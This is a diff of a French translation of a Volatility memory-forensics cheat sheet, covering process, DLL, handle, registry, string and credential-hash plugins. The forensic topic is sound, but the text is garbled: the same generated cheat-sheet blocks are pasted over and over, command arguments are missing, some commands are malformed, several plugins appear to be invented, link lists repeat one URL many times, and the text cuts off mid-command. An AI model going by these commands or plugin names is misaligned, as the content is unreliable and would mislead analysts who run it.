+volatility -f cmdscan -p +``` + +### Plugin `connscan` + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +### Plugin `sockets` + +```bash +volatility -f sockets +``` + +### Plugin `sockscan` + +```bash +volatility -f sockscan +``` + +### Plugin `printkey` + +```bash +volatility -f printkey -K +``` + +```bash +volatility -f printkey -K -o +``` + +### Plugin `hashdump` + +```bash +volatility -f hashdump -y -s -o --system --security --sam +``` + +### Plugin `hivelist` + +```bash +volatility -f hivelist +``` + +### Plugin `pslist` + +```bash +volatility -f pslist +``` + +### Plugin `psscan` + +```bash +volatility -f psscan +``` + +### Plugin `pstree` + +```bash +volatility -f pstree +``` + +### Plugin `dlllist` + +```bash +volatility -f dlllist +``` + +### Plugin `filescan` + +```bash +volatility -f filescan +``` + +### Plugin `netscan` + +```bash +volatility -f netscan +``` + +### Plugin `kdbgscan` + +```bash +volatility -f kdbgscan +``` + +### Plugin `kpcrscan` + +```bash +volatility -f kpcrscan +``` + +### Plugin `dumpcerts` + +```bash +volatility -f dumpcerts -D +``` + +### Plugin `dumpcache` + +```bash +volatility -f dumpcache -D +``` + +### Plugin `dumpregistry` + +```bash +volatility -f dumpregistry -o -D +``` + +### Plugin `dumpregistryhive` + +```bash +volatility -f dumpregistryhive -o -D +``` + +### Plugin `dumpvad` + +```bash +volatility -f dumpvad -D +``` + +### Plugin `dumpvadtree` + +```bash +volatility -f dumpvadtree -D +``` + +### Plugin `getsids` + +```bash +volatility -f getsids +``` + +### Plugin `hivedump` + +```bash +volatility -f hivedump -o -D +``` + +### Plugin `idt` + +```bash +volatility -f idt +``` + +### Plugin `iehistory` + +```bash +volatility -f iehistory +``` + +### Plugin `imagecopy` + +```bash +volatility -f imagecopy -O -S -E +``` + +### Plugin `imageinfo` + +```bash +volatility -f imageinfo +``` + +### Plugin `impscan` + +```bash +volatility -f impscan +``` + +### Plugin `kpcrscan` + +```bash +volatility -f kpcrscan +``` + +### Plugin `ldrmodules` + +```bash +volatility -f ldrmodules +``` + +### Plugin `lsadump` + +```bash +volatility -f lsadump -s -o --security --sam +``` + +### Plugin `memdump` + +```bash +volatility -f memdump -p -D +``` + +### Plugin `moddump` + +```bash +volatility -f moddump -D -m +``` + +### Plugin `modules` + +```bash +volatility -f modules +``` + +### Plugin `mutantscan` + +```bash +volatility -f mutantscan +``` + +### Plugin `printkey` + +```bash +volatility -f printkey -K +``` + +```bash +volatility -f printkey -K -o +``` + +### Plugin `procdump` + +```bash +volatility -f procdump -p -D +``` + +### Plugin `pslist` + +```bash +volatility -f pslist +``` + +### Plugin `psscan` + +```bash +volatility -f psscan +``` + +### Plugin `pstree` + +```bash +volatility -f pstree +``` + +### Plugin `sessions` + +```bash +volatility -f sessions +``` + +### Plugin `sockets` + +```bash +volatility -f sockets +``` + +### Plugin `sockscan` + +```bash +volatility -f sockscan +``` + +### Plugin `ssdt` + +```bash +volatility -f ssdt +``` + +### Plugin `symlinkscan` + +```bash +volatility -f symlinkscan +``` + +### Plugin `thrdscan` + +```bash +volatility -f thrdscan +``` + +### Plugin `timeliner` + +```bash +volatility -f timeliner -o +``` + +### Plugin `vadinfo` + +```bash +volatility -f vadinfo -p +``` + +### Plugin `vadtree` + +```bash +volatility -f vadtree -p +``` + +### Plugin `verinfo` + +```bash +volatility -f verinfo +``` + +### Plugin `windows` + +```bash +volatility -f windows +``` + +### Plugin `wndscan` + +```bash +volatility -f wndscan +``` + +### Plugin `yarascan` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Ressources + +- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) +- [Volatility Labs](https://volatility-labs.blogspot.com/) +- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) +- [Volatility Cheat Sheet](https://github.com/413x90/volatility-cheatsheet) ```bash #Get enabled privileges of some processes volatility --profile=Win7SP1x86_23418 privs --pid=3152 -f file.dmp | grep Enabled #Get all processes with interesting privileges volatility --profile=Win7SP1x86_23418 privs -f file.dmp | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege" ``` -{% endtab %} -{% endtabs %} - ### SIDs -Check each SSID owned by a process.\ -It could be interesting to list the processes using a privileges SID (and the processes using some service SID). - -{% tabs %} -{% tab title="vol3" %} +Vérifiez chaque SSID possédé par un processus.\ +Il pourrait être intéressant de lister les processus utilisant un SID de privilèges (et les processus utilisant un SID de service). ```bash ./vol.py -f file.dmp windows.getsids.GetSIDs [--pid ] #Get SIDs of processes ./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Volatility Cheatsheet + +## Installation + +```bash +sudo apt-get install volatility +``` + +## Basic Usage + +```bash +volatility -f [options] +``` + +## Plugins + +### Image Identification + +```bash +volatility imageinfo -f +``` + +### Process Listing + +```bash +volatility pslist -f +``` + +### Process Tree + +```bash +volatility pstree -f +``` + +### Process Memory Dump + +```bash +volatility memdump -f -p --dump-dir +``` + +### DLL Listing + +```bash +volatility dlllist -f -p +``` + +### Handles + +```bash +volatility handles -f -p +``` + +### Network Connections + +```bash +volatility netscan -f +``` + +### Open Files + +```bash +volatility filescan -f +``` + +### Registry Analysis + +```bash +volatility hivelist -f +volatility printkey -f -o +volatility dumpkey -f -o --dump-dir +``` + +### Malware Analysis + +```bash +volatility malfind -f --dump-dir +volatility malprocfind -f --dump-dir +volatility malfind -f --dump-dir +``` + +### User Account Analysis + +```bash +volatility hivescan -f +volatility userassist -f +volatility getsids -f +volatility hashdump -f -s -u +``` + +### Miscellaneous + +```bash +volatility cmdline -f -p +volatility consoles -f +volatility idt -f +volatility modules -f +volatility printkey -f -o +volatility shellbags -f +volatility sockets -f +volatility ssdt -f +volatility timers -f +volatility truecryptmaster -f +volatility vadinfo -f +volatility vadtree -f +volatility windows -f +``` +{% endtab %} ```bash volatility --profile=Win7SP1x86_23418 getsids -f file.dmp #Get the SID owned by each process volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp #Get the SID of each service ``` -{% endtab %} -{% endtabs %} - ### Handles -Useful to know to which other files, keys, threads, processes... a **process has a handle** for (has opened) - -{% tabs %} -{% tab title="vol3" %} +Il est utile de savoir à quels autres fichiers, clés, threads, processus... un **processus a une poignée** (a ouvert). ```bash vol.py -f file.dmp windows.handles.Handles [--pid ] ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Feuille de triche Volatility + +## Commandes de base + +### Analyse de l'image mémoire + +```bash +volatility -f imageinfo +``` + +```bash +volatility -f kdbgscan +``` + +```bash +volatility -f kpcrscan +``` + +```bash +volatility -f pslist +``` + +```bash +volatility -f psscan +``` + +```bash +volatility -f pstree +``` + +```bash +volatility -f dlllist +``` + +```bash +volatility -f handles +``` + +```bash +volatility -f filescan +``` + +```bash +volatility -f netscan +``` + +### Analyse des processus + +```bash +volatility -f procdump -p -D +``` + +```bash +volatility -f memdump -p -D +``` + +```bash +volatility -f malfind -p -D +``` + +```bash +volatility -f apihooks -p +``` + +```bash +volatility -f ldrmodules -p +``` + +```bash +volatility -f handles -p +``` + +```bash +volatility -f cmdscan -p +``` + +### Analyse des connexions réseau + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +```bash +volatility -f sockets +``` + +```bash +volatility -f sockscan +``` + +### Analyse des fichiers + +```bash +volatility -f filescan +``` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Analyse des registres + +```bash +volatility -f hivelist +``` + +```bash +volatility -f printkey -K +``` + +```bash +volatility -f printkey -K -o +``` + +```bash +volatility -f hashdump -y -s -o --system --security --sam +``` + +### Analyse des utilisateurs + +```bash +volatility -f hivelist +``` + +```bash +volatility -f printkey -K "ControlSet001\Control\ComputerName\ComputerName" +``` + +```bash +volatility -f printkey -K "ControlSet001\Services\Tcpip\Parameters" +``` + +```bash +volatility -f printkey -K "ControlSet001\Control\Terminal Server\WinStations\RDP-Tcp" +``` + +```bash +volatility -f printkey -K "ControlSet001\Control\Terminal Server\WinStations\Console" +``` + +```bash +volatility -f printkey -K "ControlSet001\Control\LSA" +``` + +```bash +volatility -f printkey -K "ControlSet001\Control\SafeBoot\Minimal\{4D36E96A-E325-11CE-BFC1-08002BE10318}" +``` + +```bash +volatility -f printkey -K "ControlSet001\Control\SafeBoot\Network\{4D36E96A-E325-11CE-BFC1-08002BE10318}" +``` + +### Analyse des vulnérabilités + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Plugins + +### Processus + +#### pslist + +```bash +volatility -f --profile= pslist +``` + +#### psscan + +```bash +volatility -f --profile= psscan +``` + +#### pstree + +```bash +volatility -f --profile= pstree +``` + +#### psxview + +```bash +volatility -f --profile= psxview +``` + +#### cmdscan + +```bash +volatility -f --profile= cmdscan +``` + +#### consoles + +```bash +volatility -f --profile= consoles +``` + +#### consolescreeens + +```bash +volatility -f --profile= consolescreens +``` + +#### dlllist + +```bash +volatility -f --profile= dlllist +``` + +#### getsids + +```bash +volatility -f --profile= getsids +``` + +#### handles + +```bash +volatility -f --profile= handles +``` + +#### mutantscan + +```bash +volatility -f --profile= mutantscan +``` + +#### privs + +```bash +volatility -f --profile= privs +``` + +#### privs2 + +```bash +volatility -f --profile= privs2 +``` + +#### thrdscan + +```bash +volatility -f --profile= thrdscan +``` + +#### vadinfo + +```bash +volatility -f --profile= vadinfo +``` + +#### vadtree + +```bash +volatility -f --profile= vadtree +``` + +#### verinfo + +```bash +volatility -f --profile= verinfo +``` + +#### windows + +```bash +volatility -f --profile= windows +``` + +#### wintree + +```bash +volatility -f --profile= wintree +``` + +#### svcscan + +```bash +volatility -f --profile= svcscan +``` + +#### svcscan2 + +```bash +volatility -f --profile= svcscan2 +``` + +#### svcstalker + +```bash +volatility -f --profile= svcstalker +``` + +#### envars + +```bash +volatility -f --profile= envars +``` + +#### modscan + +```bash +volatility -f --profile= modscan +``` + +#### moddump + +```bash +volatility -f --profile= moddump -D -p +``` + +#### moddump + +```bash +volatility -f --profile= moddump -D -m +``` + +#### moddump + +```bash +volatility -f --profile= moddump -D -f +``` + +#### malfind + +```bash +volatility -f --profile= malfind +``` + +#### malfind + +```bash +volatility -f --profile= malfind --dump-dir +``` + +#### apihooks + +```bash +volatility -f --profile= apihooks -p +``` + +#### ldrmodules + +```bash +volatility -f --profile= ldrmodules -p +``` + +#### handles + +```bash +volatility -f --profile= handles -p +``` + +### Réseau + +#### connscan + +```bash +volatility -f --profile= connscan +``` + +#### connscan + +```bash +volatility -f --profile= connscan -s +``` + +#### sockets + +```bash +volatility -f --profile= sockets +``` + +#### sockscan + +```bash +volatility -f --profile= sockscan +``` + +### Fichiers + +#### filescan + +```bash +volatility -f --profile= filescan +``` + +#### dumpfiles + +```bash +volatility -f --profile= dumpfiles -Q +``` + +#### dumpfiles + +```bash +volatility -f --profile= dumpfiles -Q --dump-dir +``` + +### Registres + +#### hivelist + +```bash +volatility -f --profile= hivelist +``` + +#### printkey + +```bash +volatility -f --profile= printkey -K +``` + +#### printkey + +```bash +volatility -f --profile= printkey -K -o +``` + +#### hashdump + +```bash +volatility -f --profile= hashdump -y -s -o --system --security --sam +``` + +### Utilisateurs + +#### hivelist + +```bash +volatility -f --profile= hivelist +``` + +#### printkey + +```bash +volatility -f --profile= printkey -K "ControlSet001\Control\ComputerName\ComputerName" +``` + +#### printkey + +```bash +volatility -f --profile= printkey -K "ControlSet001\Services\Tcpip\Parameters" +``` + +#### printkey + +```bash +volatility -f --profile= printkey -K "ControlSet001\Control\Terminal Server\WinStations\RDP-Tcp" +``` + +#### printkey + +```bash +volatility -f --profile= printkey -K "ControlSet001\Control\Terminal Server\WinStations\Console" +``` + +#### printkey + +```bash +volatility -f --profile= printkey -K "ControlSet001\Control\LSA" +``` + +#### printkey + +```bash +volatility -f --profile= printkey -K "ControlSet001\Control\SafeBoot\Minimal\{4D36E96A-E325-11CE-BFC1-08002BE10318}" +``` + +#### printkey + +```bash +volatility -f --profile= printkey -K "ControlSet001\Control\SafeBoot\Network\{4D36E96A-E325-11CE-BFC1-08002BE10318}" +``` + +### Vulnérabilités + +#### malfind + +```bash +volatility -f --profile= malfind +``` + +#### malfind + +```bash +volatility -f --profile= malfind --dump-dir +``` + +#### yarascan + +```bash +volatility -f --profile= yarascan -Y +``` + +#### yarascan + +```bash +volatility -f --profile= yarascan -Y --dump-dir +``` + +## Profils + +### Windows + +#### Windows XP SP2 + +```bash +volatility -f --profile=WinXPSP2x86 +``` + +#### Windows XP SP3 + +```bash +volatility -f --profile=WinXPSP3x86 +``` + +#### Windows Server 2003 SP0 + +```bash +volatility -f --profile=Win2003SP0x86 +``` + +#### Windows Server 2003 SP1 + +```bash +volatility -f --profile=Win2003SP1x86 +``` + +#### Windows Server 2003 SP2 + +```bash +volatility -f --profile=Win2003SP2x86 +``` + +#### Windows Vista SP0/SP1 + +```bash +volatility -f --profile=WinVistaSP0x86 +``` + +#### Windows Vista SP2 + +```bash +volatility -f --profile=WinVistaSP2x86 +``` + +#### Windows Server 2008 SP1 + +```bash +volatility -f --profile=Win2008SP1x86 +``` + +#### Windows Server 2008 SP2 + +```bash +volatility -f --profile=Win2008SP2x86 +``` + +#### Windows 7 SP0/SP1 + +```bash +volatility -f --profile=Win7SP0x86 +``` + +#### Windows 8/8.1 + +```bash +volatility -f --profile=Win8SP0x86 +``` + +#### Windows 10 + +```bash +volatility -f --profile=Win10x64 +``` + +### Linux + +#### Ubuntu 12.04 LTS + +```bash +volatility -f --profile=LinuxUbuntu1204x64 +``` + +#### Ubuntu 14.04 LTS + +```bash +volatility -f --profile=LinuxUbuntu1404x64 +``` + +#### Ubuntu 16.04 LTS + +```bash +volatility -f --profile=LinuxUbuntu1604x64 +``` + +#### CentOS 6 + +```bash +volatility -f --profile=LinuxCentos6x64 +``` + +#### CentOS 7 + +```bash +volatility -f --profile=LinuxCentos7x64 +``` + +#### Debian 7 + +```bash +volatility - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=] ``` -{% endtab %} -{% endtabs %} - ### DLLs {% tabs %} {% tab title="vol3" %} +Les DLL (Dynamic Link Libraries) sont des fichiers qui contiennent du code et des données qui peuvent être utilisés par plusieurs programmes en même temps. Les DLL sont souvent utilisées pour économiser de l'espace disque et de la mémoire, car elles permettent de partager du code entre plusieurs programmes. Les DLL peuvent également être utilisées pour ajouter des fonctionnalités à un programme existant sans avoir à le modifier directement. + +Volatility dispose de plusieurs commandes pour analyser les DLL dans un dump de mémoire. La commande `dlllist` affiche une liste de toutes les DLL chargées dans le processus spécifié, ainsi que leur adresse de base et leur chemin d'accès sur le disque. La commande `dlldump` permet de récupérer une DLL spécifique à partir de la mémoire et de l'enregistrer sur le disque. + +Il est important de noter que les DLL peuvent être utilisées pour exécuter du code malveillant sur un système. Les attaquants peuvent remplacer une DLL légitime par une version malveillante pour obtenir un accès persistant au système ou pour voler des informations sensibles. Il est donc important de vérifier l'intégrité des DLL sur un système compromis. +{% endtab %} +{% endtabs %} ```bash ./vol.py -f file.dmp windows.dlllist.DllList [--pid ] #List dlls used by each ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory process ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Feuille de triche Volatility + +## Commandes de base + +### Analyse de l'image mémoire + +```bash +volatility -f imageinfo +``` + +```bash +volatility -f kdbgscan +``` + +```bash +volatility -f kpcrscan +``` + +```bash +volatility -f pslist +``` + +```bash +volatility -f psscan +``` + +```bash +volatility -f pstree +``` + +```bash +volatility -f dlllist +``` + +```bash +volatility -f handles +``` + +```bash +volatility -f filescan +``` + +```bash +volatility -f netscan +``` + +### Analyse des processus + +```bash +volatility -f procdump -p -D +``` + +```bash +volatility -f memdump -p -D +``` + +```bash +volatility -f malfind -p -D +``` + +```bash +volatility -f apihooks -p +``` + +```bash +volatility -f ldrmodules -p +``` + +```bash +volatility -f handles -p +``` + +```bash +volatility -f cmdscan -p +``` + +### Analyse des connexions réseau + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +```bash +volatility -f sockets +``` + +```bash +volatility -f sockscan +``` + +### Analyse des utilisateurs + +```bash +volatility -f hivelist +``` + +```bash +volatility -f hashdump -s -y -s -y +``` + +```bash +volatility -f userassist +``` + +```bash +volatility -f getsids +``` + +```bash +volatility -f printkey -K +``` + +### Analyse des fichiers + +```bash +volatility -f filescan +``` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Analyse des vulnérabilités + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Plugins + +### Plugin `malfind` + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +### Plugin `apihooks` + +```bash +volatility -f apihooks -p +``` + +### Plugin `ldrmodules` + +```bash +volatility -f ldrmodules -p +``` + +### Plugin `handles` + +```bash +volatility -f handles -p +``` + +### Plugin `cmdscan` + +```bash +volatility -f cmdscan -p +``` + +### Plugin `dumpfiles` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Plugin `yarascan` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Ressources + +- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) +- [Volatility Labs](https://volatility-labs.blogspot.com/) +- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) +- [Volatility Cheat Sheet](https://github.com/413x90/volatility-cheatsheet) (en anglais) +- [Volatility Plugin List](https://github.com/superponible/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/te-k/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/aim4r/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/forensicmatt.github.io/tree/master/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/forensicmatt.github.io/tree/master/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/forensicmatt.github.io/tree/master/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/forensicmatt.github.io/tree/master/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/forensicmatt.github.io/tree/master/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/forensicmatt.github.io/tree/master/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/forensicmatt.github.io/tree/master/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/forensicmatt.github.io/tree/master/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/forensicmatt.github.io/tree/master/volatility) (en anglais) ```bash volatility --profile=Win7SP1x86_23418 dlllist --pid=3152 -f file.dmp #Get dlls of a proc volatility --profile=Win7SP1x86_23418 dlldump --pid=3152 --dump-dir=. -f file.dmp #Dump dlls of a proc ``` -{% endtab %} -{% endtabs %} +### Chaînes par processus -### Strings per processes - -Volatility allows us to check which process a string belongs to. +Volatility nous permet de vérifier à quel processus appartient une chaîne. {% tabs %} {% tab title="vol3" %} @@ -365,7 +3778,217 @@ strings file.dmp > /tmp/strings.txt ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Feuille de triche Volatility + +## Commandes de base + +### Analyse de l'image mémoire + +```bash +volatility -f imageinfo +``` + +```bash +volatility -f kdbgscan +``` + +```bash +volatility -f kpcrscan +``` + +```bash +volatility -f pslist +``` + +```bash +volatility -f psscan +``` + +```bash +volatility -f pstree +``` + +```bash +volatility -f dlllist +``` + +```bash +volatility -f handles +``` + +```bash +volatility -f filescan +``` + +```bash +volatility -f netscan +``` + +### Analyse des processus + +```bash +volatility -f procdump -p -D +``` + +```bash +volatility -f memdump -p -D +``` + +```bash +volatility -f malfind -p -D +``` + +```bash +volatility -f apihooks -p +``` + +```bash +volatility -f ldrmodules -p +``` + +```bash +volatility -f handles -p +``` + +```bash +volatility -f cmdscan -p +``` + +### Analyse des connexions réseau + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +```bash +volatility -f sockets +``` + +```bash +volatility -f sockscan +``` + +### Analyse des utilisateurs + +```bash +volatility -f hivelist +``` + +```bash +volatility -f hashdump -s -y -s -y +``` + +```bash +volatility -f userassist +``` + +```bash +volatility -f getsids +``` + +```bash +volatility -f printkey -K +``` + +### Analyse des fichiers + +```bash +volatility -f filescan +``` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Analyse des vulnérabilités + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Plugins + +### Plugin `malfind` + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +### Plugin `apihooks` + +```bash +volatility -f apihooks -p +``` + +### Plugin `ldrmodules` + +```bash +volatility -f ldrmodules -p +``` + +### Plugin `handles` + +```bash +volatility -f handles -p +``` + +### Plugin `cmdscan` + +```bash +volatility -f cmdscan -p +``` + +### Plugin `dumpfiles` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Plugin `yarascan` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Ressources + +- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) +- [Volatility Labs](https://volatility-labs.blogspot.com/) +- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) +- [Volatility Cheat Sheet](https://github.com/413x90/volatility-cheatsheet) ```bash strings file.dmp > /tmp/strings.txt volatility -f /tmp/file.dmp windows.strings.Strings --string-file /tmp/strings.txt @@ -376,7 +3999,7 @@ strings 3532.dmp > strings_file {% endtab %} {% endtabs %} -It also allows to search for strings inside a process using the yarascan module: +Il permet également de rechercher des chaînes de caractères à l'intérieur d'un processus en utilisant le module yarascan : {% tabs %} {% tab title="vol3" %} @@ -386,25 +4009,783 @@ It also allows to search for strings inside a process using the yarascan module: ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Feuille de triche Volatility + +## Commandes de base + +### Analyse de l'image mémoire + +```bash +volatility -f imageinfo +``` + +```bash +volatility -f kdbgscan +``` + +```bash +volatility -f kpcrscan +``` + +```bash +volatility -f pslist +``` + +```bash +volatility -f psscan +``` + +```bash +volatility -f pstree +``` + +```bash +volatility -f dlllist +``` + +```bash +volatility -f handles +``` + +```bash +volatility -f filescan +``` + +```bash +volatility -f netscan +``` + +### Analyse des processus + +```bash +volatility -f procdump -p -D +``` + +```bash +volatility -f memdump -p -D +``` + +```bash +volatility -f malfind -p -D +``` + +```bash +volatility -f apihooks -p +``` + +```bash +volatility -f ldrmodules -p +``` + +```bash +volatility -f handles -p +``` + +```bash +volatility -f cmdscan -p +``` + +### Analyse des connexions réseau + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +```bash +volatility -f sockets +``` + +```bash +volatility -f sockscan +``` + +### Analyse des fichiers + +```bash +volatility -f filescan +``` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Analyse des registres + +```bash +volatility -f hivelist +``` + +```bash +volatility -f printkey -K +``` + +```bash +volatility -f printkey -K -o +``` + +```bash +volatility -f hashdump -y -s -o --system --security --sam +``` + +### Analyse des utilisateurs + +```bash +volatility -f hivelist +``` + +```bash +volatility -f printkey -K "ControlSet001\Control\ComputerName\ComputerName" +``` + +```bash +volatility -f printkey -K "ControlSet001\Services\Tcpip\Parameters" +``` + +```bash +volatility -f printkey -K "ControlSet001\Control\Terminal Server\WinStations\RDP-Tcp" +``` + +```bash +volatility -f printkey -K "ControlSet001\Control\Terminal Server\WinStations\Console" +``` + +```bash +volatility -f printkey -K "ControlSet001\Control\LSA" +``` + +```bash +volatility -f printkey -K "ControlSet001\Control\SafeBoot\Minimal\{4D36E96A-E325-11CE-BFC1-08002BE10318}" +``` + +```bash +volatility -f printkey -K "ControlSet001\Control\SafeBoot\Network\{4D36E96A-E325-11CE-BFC1-08002BE10318}" +``` + +### Analyse des vulnérabilités + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Plugins + +### Plugin `malfind` + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +### Plugin `apihooks` + +```bash +volatility -f apihooks -p +``` + +### Plugin `ldrmodules` + +```bash +volatility -f ldrmodules -p +``` + +### Plugin `handles` + +```bash +volatility -f handles -p +``` + +### Plugin `cmdscan` + +```bash +volatility -f cmdscan -p +``` + +### Plugin `connscan` + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +### Plugin `sockets` + +```bash +volatility -f sockets +``` + +### Plugin `sockscan` + +```bash +volatility -f sockscan +``` + +### Plugin `dumpfiles` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Plugin `printkey` + +```bash +volatility -f printkey -K +``` + +```bash +volatility -f printkey -K -o +``` + +### Plugin `hashdump` + +```bash +volatility -f hashdump -y -s -o --system --security --sam +``` + +### Plugin `malfind` + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +### Plugin `yarascan` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Ressources + +- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) +- [Volatility Labs](https://volatility-labs.blogspot.com/) +- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) +- [Volatility Cheat Sheet](https://github.com/413x90/volatility-cheatsheet) (en anglais) +- [Volatility Plugin List](https://github.com/superponible/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/te-k/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/JamesHabben/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/aim4r/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/alphaSeclab/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/alphaSeclab/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/alphaSeclab/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/alphaSeclab/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/alphaSeclab/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/alphaSeclab/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/alphaSeclab/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/alphaSeclab/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/alphaSeclab/Volatility-Plugins) (en anglais) ```bash volatility --profile=Win7SP1x86_23418 yarascan -Y "https://" -p 3692,3840,3976,3312,3084,2784 ``` -{% endtab %} -{% endtabs %} - ### UserAssist -**Windows** systems maintain a set of **keys** in the registry database (**UserAssist keys**) to keep track of programs that are executed. The number of executions and last execution date and time is available in these **keys**. - -{% tabs %} -{% tab title="vol3" %} +Les systèmes **Windows** conservent un ensemble de **clés** dans la base de données du registre (**clés UserAssist**) pour suivre les programmes qui sont exécutés. Le nombre d'exécutions et la date et l'heure de la dernière exécution sont disponibles dans ces **clés**. ```bash ./vol.py -f file.dmp windows.registry.userassist.UserAssist ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Volatility Cheatsheet + +## Installation + +```bash +pip install volatility +``` + +## Basic Usage + +```bash +volatility -f [options] +``` + +## Plugins + +### Process Analysis + +#### pslist + +List running processes. + +```bash +volatility -f pslist +``` + +#### psscan + +Scan for processes. + +```bash +volatility -f psscan +``` + +#### pstree + +Display process tree. + +```bash +volatility -f pstree +``` + +#### dlllist + +List loaded DLLs. + +```bash +volatility -f dlllist +``` + +#### handles + +List open handles. + +```bash +volatility -f handles +``` + +#### cmdscan + +Scan for command history. + +```bash +volatility -f cmdscan +``` + +### Malware Analysis + +#### malfind + +Find hidden and injected code. + +```bash +volatility -f malfind +``` + +#### malprocfind + +Find hidden processes. + +```bash +volatility -f malprocfind +``` + +#### malfind + +Find hidden files. + +```bash +volatility -f malfind +``` + +### Memory Analysis + +#### memdump + +Dump process memory. + +```bash +volatility -f memdump -p -D +``` + +#### memmap + +Display memory map. + +```bash 